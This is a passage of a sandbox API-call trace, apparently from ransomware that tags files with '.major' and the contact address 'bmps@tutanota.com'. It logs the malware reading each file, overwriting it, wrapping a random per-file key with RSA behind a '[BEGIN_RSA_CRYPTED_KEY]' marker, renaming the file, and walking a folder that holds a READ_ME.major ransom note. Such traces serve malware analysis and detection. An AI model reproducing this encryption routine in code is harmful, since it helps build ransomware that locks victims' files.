pszString="FVNd4bokUIxNe9p/i6eVodEW3+2si/DyiM+54Xb2DKFaY86OFUoNP1yAOIGq/tTF\nglvY/UZt3LBx57YhM61//OJWERpMm/c69l03A/+x+b1apLQTh1zlrRdyjjTgNZH2\nnPKnnUbBNEZxJofZbfYvF7q81bTSucC1E93ckrNSHyB01BC2jfphqTDB4uxBg9UR\njdqOz53y8sxpWdhiL4ZYhNdeLvQJyCI2OzD9vEk/nNrOz6IextuFiXTNQxMFmUpZ\n174BuUAe1wHjhigbymi2WJv6jNQ0PV3MsqguKHrep6dwkr9ZYLFbF3VDmWs5nTPY\nj1tsOBXc/u6XpZDVuPi7Tw==\n", pcchString=0x2e3f9a8) returned 1 [0142.383] WriteFile (in: hFile=0x4ec, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0142.383] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0142.383] WriteFile (in: hFile=0x4ec, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0142.383] CloseHandle (hObject=0x4ec) returned 1 [0142.383] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0142.383] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), lpNewFileName="\\588bce7c90097ed212\\Extended\\UiInfo.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0142.386] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0142.386] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.386] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bef20 | out: hHeap=0x570000) returned 1 [0142.386] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0142.386] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0142.386] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.386] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.386] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\Extended\\Parameterinfo.xml", dwFileAttributes=0x80) returned 1 [0142.387] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6300 [0142.387] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0142.387] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6300 | out: hHeap=0x570000) returned 1 [0142.387] CreateFileW (lpFileName="\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0142.387] GetFileSizeEx (in: hFile=0x4ec, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=93314) returned 1 [0142.387] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x16c82) returned 0x60d870 [0142.387] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x16c82) returned 0x2f40048 [0142.387] ReadFile (in: hFile=0x4ec, lpBuffer=0x60d870, nNumberOfBytesToRead=0x16c82, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x60d870*, lpNumberOfBytesRead=0x2e3f9b4*=0x16c82, lpOverlapped=0x0) returned 1 [0142.419] SetFilePointer (in: hFile=0x4ec, lDistanceToMove=-93314, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.419] WriteFile (in: hFile=0x4ec, lpBuffer=0x2f40048*, nNumberOfBytesToWrite=0x16c82, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f40048*, lpNumberOfBytesWritten=0x2e3f9b4*=0x16c82, lpOverlapped=0x0) returned 1 [0142.419] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d870 | out: hHeap=0x570000) returned 1 [0142.420] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f40048 | out: hHeap=0x570000) returned 1 [0142.420] SetFilePointer (in: hFile=0x4ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x16c82 [0142.420] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0142.420] WriteFile (in: hFile=0x4ec, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0142.420] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0142.420] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0142.421] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0142.421] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0142.421] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="oPixptYTXSfSS8ByWM3GVzKgtYCDF9WBCSPOC63pXL3IKHKQ3UEyFnGtDnhNGtRG\nizgbyCv99otbCJ8CLAqDTNhpB8xHN2/qJFyWdo934eWP6przFlPBrWisiCZZ55tU\nFibLi+EoOBV2rKPJnOOT91DFkVqcGoKXJJmrX+dli8aM/L54Rh34XAKj7bHj3jgK\n29Q1lLdrswkI14z0uV0pFCdN8YFYQ27+CpPxxS/zCuGT5EjgknkyTszpwn2Kyt7M\nxHqsL1evnRgx8X4rylOq8p4LO3bxpc9uBTNxltvx783Vi9Fw72p4dMmoHwTiJQ1t\n8gO5YjO+VIShEA80P0mGAQ==\n", pcchString=0x2e3f9a8) returned 1 [0142.421] WriteFile (in: hFile=0x4ec, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0142.421] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0142.421] WriteFile (in: hFile=0x4ec, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0142.421] CloseHandle (hObject=0x4ec) returned 1 [0142.421] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0142.421] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), lpNewFileName="\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0142.422] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0142.422] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.422] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0142.422] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6710 | out: hHeap=0x570000) returned 1 [0142.422] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7528 [0142.423] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7180 | out: hHeap=0x570000) returned 1 [0142.423] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70a8 | out: hHeap=0x570000) returned 1 [0142.423] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb70 | out: hHeap=0x570000) returned 1 [0142.423] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xd23cd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5b5630 [0142.423] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0142.423] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c6fd0 [0142.423] GetLastError () returned 0x0 [0142.423] SetLastError (dwErrCode=0x0) [0142.423] GetLastError () returned 0x0 [0142.423] SetLastError (dwErrCode=0x0) [0142.423] GetLastError () returned 0x0 [0142.423] SetLastError (dwErrCode=0x0) [0142.423] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eaf8 [0142.423] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0142.423] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0142.423] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.423] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b58b0 [0142.423] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b58b0 | out: hHeap=0x570000) returned 1 [0142.423] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40390 [0142.423] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40390 | out: hHeap=0x570000) returned 1 [0142.423] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.423] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eaf8 | out: hHeap=0x570000) returned 1 [0142.423] FindNextFileW (in: hFindFile=0x5b5630, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xd23cd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0142.423] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fd0 | out: hHeap=0x570000) returned 1 [0142.423] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7450 [0142.423] GetLastError () returned 0x0 [0142.423] SetLastError (dwErrCode=0x0) [0142.423] GetLastError () returned 0x0 [0142.423] SetLastError (dwErrCode=0x0) [0142.423] GetLastError () returned 0x0 [0142.423] SetLastError (dwErrCode=0x0) [0142.423] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ee78 [0142.423] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0142.423] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0142.424] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.424] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b58b0 [0142.424] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b58b0 | out: hHeap=0x570000) returned 1 [0142.424] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40498 [0142.424] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40498 | out: hHeap=0x570000) returned 1 [0142.424] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.424] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ee78 | out: hHeap=0x570000) returned 1 [0142.424] FindNextFileW (in: hFindFile=0x5b5630, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Print.ico", cAlternateFileName="")) returned 1 [0142.424] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7450 | out: hHeap=0x570000) returned 1 [0142.424] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7570 [0142.424] GetLastError () returned 0x0 [0142.424] SetLastError (dwErrCode=0x0) [0142.424] GetLastError () returned 0x0 [0142.424] SetLastError (dwErrCode=0x0) [0142.424] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6ca0 [0142.424] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7570 | out: hHeap=0x570000) returned 1 [0142.424] GetLastError () returned 0x0 [0142.424] SetLastError (dwErrCode=0x0) [0142.424] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.424] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.424] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0142.424] FindNextFileW (in: hFindFile=0x5b5630, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd23cd, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0xd23cd, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0xd5ec2, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0142.424] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6ca0 | out: hHeap=0x570000) returned 1 [0142.424] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0142.424] GetLastError () returned 0x0 [0142.424] SetLastError (dwErrCode=0x0) [0142.424] GetLastError () returned 0x0 [0142.424] SetLastError (dwErrCode=0x0) [0142.424] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0142.424] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0142.424] GetLastError () returned 0x0 [0142.424] SetLastError (dwErrCode=0x0) [0142.424] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.424] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.424] FindNextFileW (in: hFindFile=0x5b5630, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Rotate1.ico", cAlternateFileName="")) returned 1 [0142.424] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0142.424] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7180 [0142.424] GetLastError () returned 0x0 [0142.424] SetLastError (dwErrCode=0x0) [0142.424] GetLastError () returned 0x0 [0142.425] SetLastError (dwErrCode=0x0) [0142.425] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0142.425] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7180 | out: hHeap=0x570000) returned 1 [0142.425] GetLastError () returned 0x0 [0142.425] SetLastError (dwErrCode=0x0) [0142.425] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.425] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.425] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6438 [0142.425] FindNextFileW (in: hFindFile=0x5b5630, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Rotate2.ico", cAlternateFileName="")) returned 1 [0142.425] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0142.425] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c74e0 [0142.425] GetLastError () returned 0x0 [0142.425] SetLastError (dwErrCode=0x0) [0142.425] GetLastError () returned 0x0 [0142.425] SetLastError (dwErrCode=0x0) [0142.425] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0142.425] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c74e0 | out: hHeap=0x570000) returned 1 [0142.425] GetLastError () returned 0x0 [0142.425] SetLastError (dwErrCode=0x0) [0142.425] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.425] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.425] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0142.425] FindNextFileW (in: hFindFile=0x5b5630, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Rotate3.ico", cAlternateFileName="")) returned 1 [0142.425] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0142.425] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7720 [0142.425] GetLastError () returned 0x0 [0142.425] SetLastError (dwErrCode=0x0) [0142.425] GetLastError () returned 0x0 [0142.425] SetLastError (dwErrCode=0x0) [0142.425] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b08 [0142.425] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7720 | out: hHeap=0x570000) returned 1 [0142.425] GetLastError () returned 0x0 [0142.425] SetLastError (dwErrCode=0x0) [0142.425] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.425] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.425] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b67e0 [0142.425] FindNextFileW (in: hFindFile=0x5b5630, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Rotate4.ico", cAlternateFileName="")) returned 1 [0142.425] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b08 | out: hHeap=0x570000) returned 1 [0142.425] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0142.425] GetLastError () returned 0x0 [0142.426] SetLastError (dwErrCode=0x0) [0142.426] GetLastError () returned 0x0 [0142.426] SetLastError (dwErrCode=0x0) [0142.426] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0142.426] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0142.426] GetLastError () returned 0x0 [0142.426] SetLastError (dwErrCode=0x0) [0142.426] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.426] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.426] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6368 [0142.426] FindNextFileW (in: hFindFile=0x5b5630, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Rotate5.ico", cAlternateFileName="")) returned 1 [0142.426] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0142.426] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0142.426] GetLastError () returned 0x0 [0142.426] SetLastError (dwErrCode=0x0) [0142.426] GetLastError () returned 0x0 [0142.426] SetLastError (dwErrCode=0x0) [0142.426] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6d28 [0142.426] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0142.426] GetLastError () returned 0x0 [0142.426] SetLastError (dwErrCode=0x0) [0142.426] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.426] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.426] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b66a8 [0142.426] FindNextFileW (in: hFindFile=0x5b5630, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Rotate6.ico", cAlternateFileName="")) returned 1 [0142.426] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6d28 | out: hHeap=0x570000) returned 1 [0142.426] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0142.426] GetLastError () returned 0x0 [0142.426] SetLastError (dwErrCode=0x0) [0142.426] GetLastError () returned 0x0 [0142.426] SetLastError (dwErrCode=0x0) [0142.426] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0142.426] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0142.426] GetLastError () returned 0x0 [0142.426] SetLastError (dwErrCode=0x0) [0142.426] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.426] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.426] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6710 [0142.426] FindNextFileW (in: hFindFile=0x5b5630, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Rotate7.ico", cAlternateFileName="")) returned 1 [0142.427] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0142.427] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0142.427] GetLastError () returned 0x0 [0142.427] SetLastError (dwErrCode=0x0) [0142.427] GetLastError () returned 0x0 [0142.427] SetLastError (dwErrCode=0x0) [0142.427] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b90 [0142.427] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0142.427] GetLastError () returned 0x0 [0142.427] SetLastError (dwErrCode=0x0) [0142.427] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.427] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.427] 